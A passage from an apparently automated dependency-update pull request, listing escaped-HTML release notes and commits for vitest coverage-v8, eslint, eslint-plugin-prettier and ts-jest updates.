href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 10.12.0 to 10.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.13.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e) (Irfan fandi)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e) (synthex-byte)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/66ac58383e076940c11a5d7213ad079028d1140e\"\u003e\u003ccode\u003e66ac583\u003c/code\u003e\u003c/a\u003e feat: check \u003ccode\u003eyield*\u003c/code\u003e expressions in \u003ccode\u003eno-unsafe-optional-chaining\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21399\"\u003e#21399\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/87bd2cef7b2309739c29598fb2be335f4bed71a3\"\u003e\u003ccode\u003e87bd2ce\u003c/code\u003e\u003c/a\u003e fix: avoid redeclared \u003ccode\u003elet\u003c/code\u003e when \u003ccode\u003eno-var\u003c/code\u003e and \u003ccode\u003eone-var\u003c/code\u003e fix together (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21389\"\u003e#21389\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/47b7063b3f3f7bc7a5bcb87c082577e4e8b96e24\"\u003e\u003ccode\u003e47b7063\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.1.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21398\"\u003e#21398\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e5aea414cc00555ecd43f6e608bf80e0f9a6d4d6\"\u003e\u003ccode\u003ee5aea41\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21390\"\u003e#21390\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4637f9827a1ba137498eaee70957850621082815\"\u003e\u003ccode\u003e4637f98\u003c/code\u003e\u003c/a\u003e 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96df05ceb7000813859acf16a690f8a8bbbea904\"\u003e\u003ccode\u003e96df05c\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v10.12.0...v10.13.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-plugin-prettier` from 5.5.6 to 5.5.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/releases\"\u003eeslint-plugin-prettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.5.7\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/pull/796\"\u003e#796\u003c/a\u003e \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/7e53ecd882fe6f0f74150cb0a539776b64182b3e\"\u003e\u003ccode\u003e7e53ecd\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/OskarEichler\"\u003e\u003ccode\u003e@​OskarEichler\u003c/code\u003e\u003c/a\u003e! - Fix fallback diagnostic locations for all supported line endings.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/pull/805\"\u003e#805\u003c/a\u003e \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/1b7c43322ce0eb3ee7495d91481613d39d97af52\"\u003e\u003ccode\u003e1b7c433\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/JounQin\"\u003e\u003ccode\u003e@​JounQin\u003c/code\u003e\u003c/a\u003e! - Report a clear error when the sync worker fails to load, so a missing \u003ccode\u003eprettier\u003c/code\u003e dependency now fails fast with \u003ccode\u003eCannot find package 'prettier'\u003c/code\u003e instead of hanging ESLint indefinitely.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew Contributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/truongbo17\"\u003e\u003ccode\u003e@​truongbo17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/pull/798\"\u003eprettier/eslint-plugin-prettier#798\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/OskarEichler\"\u003e\u003ccode\u003e@​OskarEichler\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/pull/796\"\u003eprettier/eslint-plugin-prettier#796\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/compare/v5.5.6...v5.5.7\"\u003ehttps://github.com/prettier/eslint-plugin-prettier/compare/v5.5.6...v5.5.7\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/blob/main/CHANGELOG.md\"\u003eeslint-plugin-prettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.5.7\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/pull/796\"\u003e#796\u003c/a\u003e \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/7e53ecd882fe6f0f74150cb0a539776b64182b3e\"\u003e\u003ccode\u003e7e53ecd\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/OskarEichler\"\u003e\u003ccode\u003e@​OskarEichler\u003c/code\u003e\u003c/a\u003e! - Fix fallback diagnostic locations for all supported line endings.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/pull/805\"\u003e#805\u003c/a\u003e \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/1b7c43322ce0eb3ee7495d91481613d39d97af52\"\u003e\u003ccode\u003e1b7c433\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/JounQin\"\u003e\u003ccode\u003e@​JounQin\u003c/code\u003e\u003c/a\u003e! - Report a clear error when the sync worker fails to load, so a missing \u003ccode\u003eprettier\u003c/code\u003e dependency now fails fast with \u003ccode\u003eCannot find package 'prettier'\u003c/code\u003e instead of hanging ESLint indefinitely.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/e6dd27a4e4015748b2e87c646be2c1a530789343\"\u003e\u003ccode\u003ee6dd27a\u003c/code\u003e\u003c/a\u003e chore: keep packageManager when cleaning package.json for release (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/808\"\u003e#808\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/7544956b642d4e653c235d178432e4d60a312b6b\"\u003e\u003ccode\u003e7544956\u003c/code\u003e\u003c/a\u003e chore: release eslint-plugin-prettier (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/799\"\u003e#799\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/e3e52386bd8ab1604d4d41ecd961de5e6749eed8\"\u003e\u003ccode\u003ee3e5238\u003c/code\u003e\u003c/a\u003e ci: enable npm publish provenance for changesets v3 (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/807\"\u003e#807\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/7c923c41069c939d6c6c8b7cfcad8f6a266f5276\"\u003e\u003ccode\u003e7c923c4\u003c/code\u003e\u003c/a\u003e build(deps): Bump http-cache-semantics from 4.2.0 to 4.3.0 (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/806\"\u003e#806\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/1b7c43322ce0eb3ee7495d91481613d39d97af52\"\u003e\u003ccode\u003e1b7c433\u003c/code\u003e\u003c/a\u003e fix: bump synckit to surface worker failures instead of hanging (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/805\"\u003e#805\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/a6b3feb3ce5d0bf785ddf4a83d24cf6a5c4bb902\"\u003e\u003ccode\u003ea6b3feb\u003c/code\u003e\u003c/a\u003e docs: explain line endings and \u003ccode\u003eendOfLine\u003c/code\u003e behavior (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/804\"\u003e#804\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/2f6ba1dca350a40857884103a7bf0e74b64901f7\"\u003e\u003ccode\u003e2f6ba1d\u003c/code\u003e\u003c/a\u003e ci: exercise the getLocFromIndex ponyfill on ESLint 9 (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/803\"\u003e#803\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/cf1d2c5cffb7520d28fe680603cc4906ada0816f\"\u003e\u003ccode\u003ecf1d2c5\u003c/code\u003e\u003c/a\u003e chore(deps): update (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/802\"\u003e#802\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/9f14a554f9737b1b985e2b26501d3bb2defac920\"\u003e\u003ccode\u003e9f14a55\u003c/code\u003e\u003c/a\u003e chore(deps): update all dependencies (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/788\"\u003e#788\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/commit/7e53ecd882fe6f0f74150cb0a539776b64182b3e\"\u003e\u003ccode\u003e7e53ecd\u003c/code\u003e\u003c/a\u003e fix: map fallback source locations to actual line starts (\u003ca href=\"https://redirect.github.com/prettier/eslint-plugin-prettier/issues/796\"\u003e#796\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/eslint-plugin-prettier/compare/v5.5.6...v5.5.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ts-jest` from 29.4.14 to 29.4.15\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/kulshekhar/ts-jest/releases\"\u003ets-jest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev29.4.15\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/kulshekhar/ts-jest/blob/main/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/kulshekhar/ts-jest/blob/main/CHANGELOG.md\"\u003ets-jest's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/compare/v29.4.14...v29.4.15\"\u003e29.4.15\u003c/a\u003e (2026-10-15)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecompiler:\u003c/strong\u003e resolve modules with tsconfig options regardless of cache state (\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/268746c0fcaf72476cebb348c5543e5c2aac3622\"\u003e268746c\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/kulshekhar/ts-jest/issues/5216\"\u003e#5216\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003esupport \u003ccode\u003e.cjs\u003c/code\u003e config files in \u003ccode\u003econfig:migrate\u003c/code\u003e (\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/4001b4e6d28aa461e7468f09157413e113f0bd92\"\u003e4001b4e\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/kulshekhar/ts-jest/issues/4485\"\u003e#4485\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/197d4de96002589658d8a6c2d3b9b9554d17af6b\"\u003e\u003ccode\u003e197d4de\u003c/code\u003e\u003c/a\u003e chore(release): 29.4.15\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/ebad800d2c080cb72d7f0ea3225221b0cee066da\"\u003e\u003ccode\u003eebad800\u003c/code\u003e\u003c/a\u003e build(deps): update dependency node to v24.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kulshekhar/ts-jest/commit/e5f6e986fe7c9e8115a7afe49ec9d5e8a576e93b\"\u003e\u003ccode\u003ee5f6e98\u003c/code\u003e\u003c/a\u003e test(compiler): clean up temp dirs from module resolution 